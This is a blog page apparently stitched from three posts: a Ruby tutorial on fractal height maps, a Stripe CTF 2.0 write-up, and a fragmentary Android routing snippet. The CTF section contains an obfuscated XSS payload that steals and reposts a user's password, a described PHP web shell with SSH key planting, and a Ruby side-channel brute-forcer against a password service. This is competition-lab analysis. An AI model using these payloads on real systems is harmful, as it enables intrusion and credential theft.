Tutorials

# A Fractal Height Map Generator in Ruby

[I'm migrating my old articles to the blog in order to switch to it entirely]

Date: 25th March 2010

## Introduction

This article describes the theory behind, and how to implement, a basic fractal height map generator. It is based upon the algorithm defined at http://gameprogrammer.com/fractal.html. Height maps are used in many things: positioning software, graphical rendering, and procedural map generation. Given the right conditions, height maps can be used to create visually stunning images, and are frequently used with an alpha channel to simulate clouds.

All source code used in this article shall be made freely available, under a Creative Commons GPL Licence

The implementation which will be defined here outputs an array of numbers, which on the surface seems fairly mundane. However, with a bit of tweaking with VT100 colour codes, or passing to an image generation program, the algorithm can produce outputs such as this:

The ASCII renderer assigns a colour code to a range of numbers and then depending on your ranges, you can create rainbow-like maps like the one above. The grey scale and transparent images had their number arrays passed to an image generation program called RMagick.

## The Theory

I will go through the basic idea again as it was defined in the gameprogrammer link, to keep a consistency with terms used further in the article. So before we get on to the DiamondSquare algorithm, I shall implement the simpler 1 dimensional algorithm, which will describe the height of a line, similar to a horizon. The patterns created show some fractal behaviour, in that it is said to be self-similar. An object is said to be self-similar when magnified subsets of the object look like, or are identical to, the whole and to each other[1].

In context of this algorithm, it means that as we add more detail, the more rougher and major features will still hold true, but more detail will become apparent as we look closer. This makes the algorithm ideal for recursion or iterative methods. This implementation uses an iterative method.

### Midpoint Displacement in One Dimension

For the creation of the 1 dimensional height map, similar to a horizon, a very simple algorithm is used:

    def generateLine(length)

# Due to this algorithm being simple for
# the articles sake, length should be
# constrained to the powers of 2.
#
# As we need a midpoint, however, length
# should be defined as (2^n)+1.

# Create an array which describes a line.
# Set the default values to 0American Standard Code for Information Interchange
line = Array.new(length, 0)

# Define the range of the terrain values.
# For this example we shall take the range
# of values to be -63 to 63, with the midpoint
# at 0, out default value.
# Range is then 128.
range = 128;

# Work out the number of line segments
# levels there are in the line. As each line
# segment level is defined by deviding by two
# until length is 1, the number of segments
# is the log_2 of the length.
noSegments = Math.log(length-1, 2)

#Iterate through the levels
(1 .. noSegments).each{ |level|

# Work out the line segment length so you
# can properly address the offset.
segLength = (length/2**level)

# Work out the number of line segments
# within this level
noSegL = (2**level)-1

# Iterate through the line segments and
(1 .. noSegL).each{ |segOffset|

# If value is not zero, skip over it, done on a previous
# level
if( line[segLength*segOffset] == 0 )

# Make sure the current value of the line
# is directly midway between its two parents.
line[segLength*segOffset] = (line[segLength*(segOffset-1)] + line[segLength*(segOffset+1)])/2

# Apply random function to value
line[segLength*segOffset] = randomFunction(line[segLength*segOffset], level, range)

end
}
}

return line
end

Now as you can see the most important part of that algorithm is that which I have purposely missed, randomFunction. This is where you, quite obviously, define how you want your heights defined. A good way is to simply use a bounded random function, where the bounds are defined by the line segment level you are currently within. For example, a function like: 

    def randomFunction(value, level, range)

# Roughness constant 0 &lt; h &lt; 1
# As h approachs 0, the level dependent
# bounds grow and tend to 1 for all values
# of level
h = 0.8

# Define bounds in terms of level and a roughness
# function
multiplier = 2 ** (-h * level-1)

# Perform random function, bound it, and then apply
# multiplier
value += (rand() * (range) - (range / 2)) * multiplier

# Return
return value
end

  Would offset the value of the line a random amount which is bounded by a function dependent on the line segment level and a roughness coefficient. As this function is the heart of this algorithm and the 2 dimensional algorithm, I will go into some detail on the use of the roughness coefficient. If the roughness coefficient is set to 1, then the multiplier acts the same as : $2^{(-l-1)}; 0 < l < \infty ; l \in \mathbb{Z}^+$. Decreasing the value of h flattens out the function meaning the bounds are less constrictive and allowing for much rougher terrain. Here is a plot of the multiplier when h=0.8 and h=0.2, and a plot of the generated lines when those constraints are used. X axis is equal to line segment level.

As you can see, the roughness coefficient makes a massive difference to the outputted numbers. For those interested in recreating the plot, I piped the output of the above code into a text file, and then used GNUPlot to make the images.

### Extending into 2 dimensions - The diamond square algorithm

To extend this algorithm into the second dimension, we have to imagine the terrain data as a two dimensional array of numbers. Each number represents a height in this two dimensional field, and so each column and row can be treated similarly to above.

To split up a two dimensional array in a self-similar way we must use squares, or diamonds, which are analogous to the line segments of the 1 dimensional algorithm. Then, rather than using the ends of a line segment to work out a base height the corners of the square, or diamond, are used. For example:

Like the line segment algorithm, the mathematical 'meat' is the same random function as before. The complexity comes in managing which indexes are part of a diamond or a square. So, for example, here is a code segment which works out indexes of a square, depending on level and location, and applies the random function:

    # Get the corners of an arbitrary square and perform operation
# on center.
#
# @param  array           Array to use
# @param  topleftIndexX   X index of top left of square
# @param  topleftIndexY   Y index of top left of square
# @param  length          Length of the square
# @param  level           Level into the calculation
def processSquare(array, topleftIndexX, topleftIndexY, length, level, range, h)

# Get coordinates of the corners of the square
toprightIndexX    = topleftIndexX
toprightIndexY    = topleftIndexY + length + ((level == 0) ? -1 : 0)

bottomleftIndexX  = topleftIndexX + length + ((level == 0) ? -1 : 0)
bottomleftIndexY  = topleftIndexY

bottomrightIndexX = topleftIndexX + length + ((level == 0) ? -1 : 0)
bottomrightIndexY = topleftIndexY + length + ((level == 0) ? -1 : 0)

middleX           = topleftIndexX + (length)/2
middleY           = topleftIndexY + (length)/2

# Get values
topleftValue      = array[topleftIndexX][topleftIndexY]
toprightValue     = array[toprightIndexX][toprightIndexY]
bottomleftValue   = array[bottomleftIndexX][bottomleftIndexY]
bottomrightValue  = array[bottomrightIndexX][bottomrightIndexY]

# Get average
average = (topleftValue + toprightValue + bottomleftValue + bottomrightValue)/4

# Set new value
array[middleX][middleY] = average + calculateOffset(level, range, h)
end

Where calculateOffset is the random function in this application. The diamond calculation algorithm is very similar and looks like this:

    # Get the edges of an arbitrary diamond and perform operation
# on center
#
# @param  array           Array to use
# @param  topIndexX       X index of top of diamond
# @param  topIndexY       Y index of top of diamond
# @param  length          Length of diamond
# @param  level           Level into the calculation
def processDiamond(array, topIndexX, topIndexY, arraylength, level, range, h)

arraylength -= 1
length = arraylength/(2 ** level)

#Get coordinates of the diamond
rightIndexX   = topIndexX + length/2
rightIndexY   = (topIndexY == length) ? length/2 : topIndexY + length/2

leftIndexX    = topIndexX + length/2
leftIndexY    = (topIndexY == 0) ? arraylength - length/2 : topIndexY - length/2

bottomIndexX  = (topIndexX + length/2 == arraylength) ? length/2 : topIndexX + length
bottomIndexY  = topIndexY

middleX       = topIndexX + length/2
middleY       = topIndexY

# Get values
topValue      = array[topIndexX][topIndexY]
rightValue    = array[rightIndexX][rightIndexY]
bottomValue   = array[bottomIndexX][bottomIndexY]
leftValue     = array[leftIndexX][leftIndexY]

# Get average
average = (topValue + rightValue + bottomValue + leftValue)/4

# Set new value
array[middleX][middleY] = average + calculateOffset(level, range, h)

# Wraps
if(middleX == arraylength)
array[0][middleY] = array[middleX][middleY]
end
if(middleY == 0)
array[middleX][arraylength] = array[middleX][middleY]
end
end

The only difference with the above snippet is the different indices it retrieves, and that it must handle wrap around for some of the edges.

So currently, we can create arbitrary diamonds and squares within a 2-dimensional array and assign a fuzzy average of the edges according the h value. Now all we need is some code to manage traversing through the levels of iterations and through the diamonds and squares themselves. Here is my solution:

    # The main control loop for the algorithm.
#
# @param  lengthExp       Length exponent
# @param  range           Value range
# @param  h               Roughness constant
def generateTerrain(lengthExp, range, h)

length = (2 ** lengthExp) + 1

array = Array.new
array = createArray(array, length)

#Go through Levels (irerative recursion)
(0 .. lengthExp - 1).each{ |level|

# Iterator for the Square part of the algorithm
# Will go through the x-axis coords
(0 .. (2 ** level) -1 ).each { |sqx|

# Y axis coords
(0 .. (2 ** level) -1).each { |sqy|

gap = length/2 ** level
x = (0 + (gap*sqx))
y = (0 + (gap*sqy))

processSquare(array, x, y, gap, level, range, h)
}
}

# Iterator for the diamond part of the algorithm
(0 ... (2 ** (level+1))).each { |dix|

# Offset in the number of points on the y-axis. Dependant
# on if x iteration is even or odd.
offset = (dix.even?) ? 1 : 2
(0 ... (2 ** (level+1)/2)).each { |diy|

gap = (length/2 ** (level+1))
ygap = 2 * gap

x = (0 + (gap*dix))
if (dix.even?)

y = 0 + (ygap*diy)
else

y = gap + (ygap*diy)
end
processDiamond(array, x, y, length, level, range, h)
}
}
}
return array
end

And this gives us our array with its height map hidden inside. Using a library like RMagick we can output images like the ones shown above. To create the gray scale image, the following code was used:

  image = Image.new(array.length, array.length)

(0 ... array.length).each { |x|
(0 ... array[x].length).each { |y|
val = array[x][y] * (2**9)
# Create greyscale image
image.pixel_color(x, y, Pixel.new(val, val, val, val))
}
}
image.display

Which just takes the value in the array, and multiplies it by 512 which gives the values a range of $0 \ge v \ge 2^{15}, \; \frac{v}{512} \in \mathbb{Z}$ . This gives us the gaseous image that has been generated above.

## Code Listings

A library version of the ruby code found in this tutorial can be found at GitHub.

## References

1. Voss, Richard D., FRACTALS in NATURE: characterization, measurement, and simulation. SIGGRAPH 1987

Based on a work at gameprogrammer.com.

# Stripe-CTF 2.0

I managed to finish the Stripe CTF with 18 hours to spare and placed no. 702. I’m pretty happy with the result considering how little time I actually spent on it! My progress can be found here and you can see when I took days off!

Overall the competition was really enjoyable and the final hangout in the irc channel while my program was breaking the flag really made me feel part of the community.

I won’t publish this until the end of the deadline, but I’ll try to remember how I broke through each level and give the code I used:

### Level 0

Very simple! A beginner SQL injection attack which leveraged the following line in the code:

var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
...

This essentially put namespace into the ‘?’ of the statement. My setting namespace to a wildcard (‘%’) the page dumped its data and the password to the next level.

### Level 1

The task for this level was to guess a combination that was defined in a hidden file (“combination.txt” or similar) which would then unlock “password.txt” and output to a web page. The code which read in the combination looked like:

extract($_GET); if (isset($attempt)) {
$combination = trim(file_get_contents($filename));
if ($attempt ===$combination) {
...

### Level 5

This was black magic. It was solved near accidentally and then inspected to work out why.

Essentially you had to trick the system to think that it was receiving a command which solved the regex:

/[^\w]AUTHENTICATED[^\w]*$/ .However, the command had to be returned from a stripe-ctf domain, and to get the code the system had to think it came from a level5.stripe-ctf domain. Using level 2, I uploaded a .php (.txt was forbidden in the webserver rules) which just echoed ” AUTHENTICATED”, and passing the address for that got me authenticated as a level02 domain. Now all I needed was to get it to authenticate as level05. In the end, the url i gave it was itself, with the post parameters it needed for level2 in the get params. Essentially this is what happened: 1. Level5 posted to itself with a domain of level5.* and get params for level2 auth 2. From this post the level2 auth were collected by the post param get functions 3. Authed as level2 4. Authed as level5 BLACK MAGIC ### Level 6 This level was incredibly fiddly, but FireBug really helped with it. Essentially it was a blogging site, and there was an injection point in the blogroll. However, the database had a “safeInsert” method which dropped any data which had an apostrophe or quote in it. This just made it awkward. The site had a “/user_info” page which a user could view their unsanitized user and password. The user which I needed to get the password from apparently has quotes and apostrophes in its password, so I also needed to sanitize them before getting them out of the system. The only way to do that would be to make my prey post their password. So the exploit work flow is: 1. GET /user_info 2. Strip password and convert to character code 3. POST this to /ajax/posts with a scraped ‘_csrf’ token to authenticate This had to be done with no quotes or apostrophes so any strings were generated using String.fromCharCode(). Here’s the formatted exploit code I used: $.get(String.fromCharCode(117,115,101,114,95,105,110,102,111),
function(response) {
var a = $(String.fromCharCode(60,100,105,118,47,62)).html(response).find(String.fromCharCode(46,115,112,97,110,49,50,32,116,100)).text(); var u; for(i=0;i&lt;a.length;i++){u += String.fromCharCode(32) + a.charCodeAt(i)}$.post( String.fromCharCode(97,106,97,120,47,112,111,115,116,115),
{
title: String.fromCharCode(88,83,83),
body: u,
_csrf: \$(String.fromCharCode(102,111,114,109,35,110,101,119,95,112,111,115,116,32,105,110,112,117,116))[0].value
});
}
);

### Level 7

I was given an API to a “WaffleCopter” service and had to request a premium waffle in order to get the password. I was not a premium user. Each request was signed with a SHA1 hash. They could be replayed.

After googling for SHA1 vulnerabilities and hanging around in the channel I discovered that there was a padding vulnerability in SHA1 and that were was a handy python script which would do all the work for you.

Combining this tool with a web request, I was able to use an old request from user 2 who ordered a “dream” premium waffle, add “&waffle=leige” to the end of the query and the magic python script worked out padding that got me the same signature as the original request!

### Level 8

This was incredible and a nice mix of frustrating, hard, and madness.

Essentially: The flag was a 12 digit number, it was kept by a program which then split the password into 4 chunks and were held by separate instances. You interrogated the main instance of the passwordDb and it would ask the chunks if it was correct. the service would then reply {success: false/true}. You could also pass it a “webhook” which would get the results rather than the curl/browser call.

The server also only accepted data from a *.stripe-ctf.com domain.

So, first problem, I needed to get that password: The chunking was an advantage, as if I was brute forcing individual chunks I would only need a 10^3 search space 4 times, rather than 1 10^12 search space. this made brute forcing practical. While on a local instance of the server I could interrogate the chunk_servers individually, on the level8 server I did not have that option, so I needed the go through the primary_server.

Due to reflection magic, when a webhook is used and a chunk says a password chunk is wrong, it directly tells the webhook true/false. And the port which is used is dependent upon which chunk is replying! A port difference (from the port of your last request) of 2 meant chunk 1 had rejected your password, 3 meant chunk 2, and so on.

This gave a side channel style attack where you could sequentially increase each chunk depending on which chunk returned false. This meant you could break the flag in <= 4000 requests. Ace.

So, the second problem, getting access to a .stripe-ctf.com domain. The problem statement said that sshd was running.  Attempting the ssh in with your generated username failed due to no public key. Hmm. Uploading a php script with a simple form and a shell_exec command essentially gave me a poor mans command line and after much faffing was able to upload a public key, create a .ssh/ folder, and add my key to an authorized_keys file. Then I was in.

Running my cracker on the production server came up with some problems: the port differences were sometimes more than 5. I assume this was because of the amount of people on the server. I modified the program to ignore any weird port differences and keep trying until a sane one was found. The server was also INCREDIBLY SLOW. It took me about 3 and half hours to brute force my flag with the following:

require 'socket'
require 'net/https'

ENDPOINT = "https://level08-4.stripe-ctf.com/user-ianrhgpijr/"
WEBHOOK = "level02-3.stripe-ctf.com"

# current port and chunk values
last_port = -1
chunk1 = 0
chunk2 = 0
chunk3 = 0
chunk4 = 0

# Open webhook port
server = TCPServer.open(50001)
puts "[Server]:: listening on port #{server.addr[1]}"

# Until finished (practically forever on production)
while true

# Start POST request to endpoint
uri = URI(ENDPOINT)
req = Net::HTTP::Post.new(uri.to_s)

# Pad out to chunks of 3, with zeros
password_chunk = "#{chunk1.to_s.rjust(3, '0')}#{chunk2.to_s.rjust(3, '0')}#{chunk3.to_s.rjust(3, '0')}#{chunk4.to_s.rjust(3, '0')}"

# Build request

http = Net::HTTP.new(uri.host, Net::HTTP.https_default_port)
http.use_ssl = true

# Send request, we only really care about the response when it returns true
http.start { |h| @response = h.request(req) }

# Wait on webhook
client = server.accept

if (last_port != -1)

# Get port difference

# Verbose is good on dodgy production server
puts "[CHUNK]:: #{password_chunk} &amp; port_diff = #{diff}"

# Incerement chunks based on port difference
if (diff == 2)
chunk1 += 1

elsif (diff == 3)
chunk2 += 1

elsif (diff == 4)
chunk3 += 1

elsif (diff == 5)
chunk4 += 1
# Last chunk, we can start checking the flag result!
if (@response.body.include?('true'))
# Woo got the flag
break
end
end
end

client.close
end

### Conclusions

All in all it was a brilliant competition to spend hours in distraction with. Looking forward to the next one (and my free t-shirt).

# Android Maps and Routing

Very quick one here.

I’ve been trying to mapping, especially routing, working on an android application I’m developing. I will save you a lot of trouble and tell you to use the inbuilt Google services.

In fact, I found a gem of a post at http://smartandroidians.blogspot.co.uk/2010/06/showing-route-through-google-map-in.html which shows you how to open an intent for routing. I’ll add in some handy extras.

// Uri to open - this will work in your browser and is actually the uri that maps generates itself
"&amp;dirflg=w");

// Create an intent to view the URI
Intent intent = new Intent(Intent.ACTION_VIEW, uri);

// [Bonus] Set the intent class as a map, so you can avoid an annoying pop up asking whether to
// open in the browser or maps
finish();
First, adding ...&dirflg=w to the URI forced walking directions.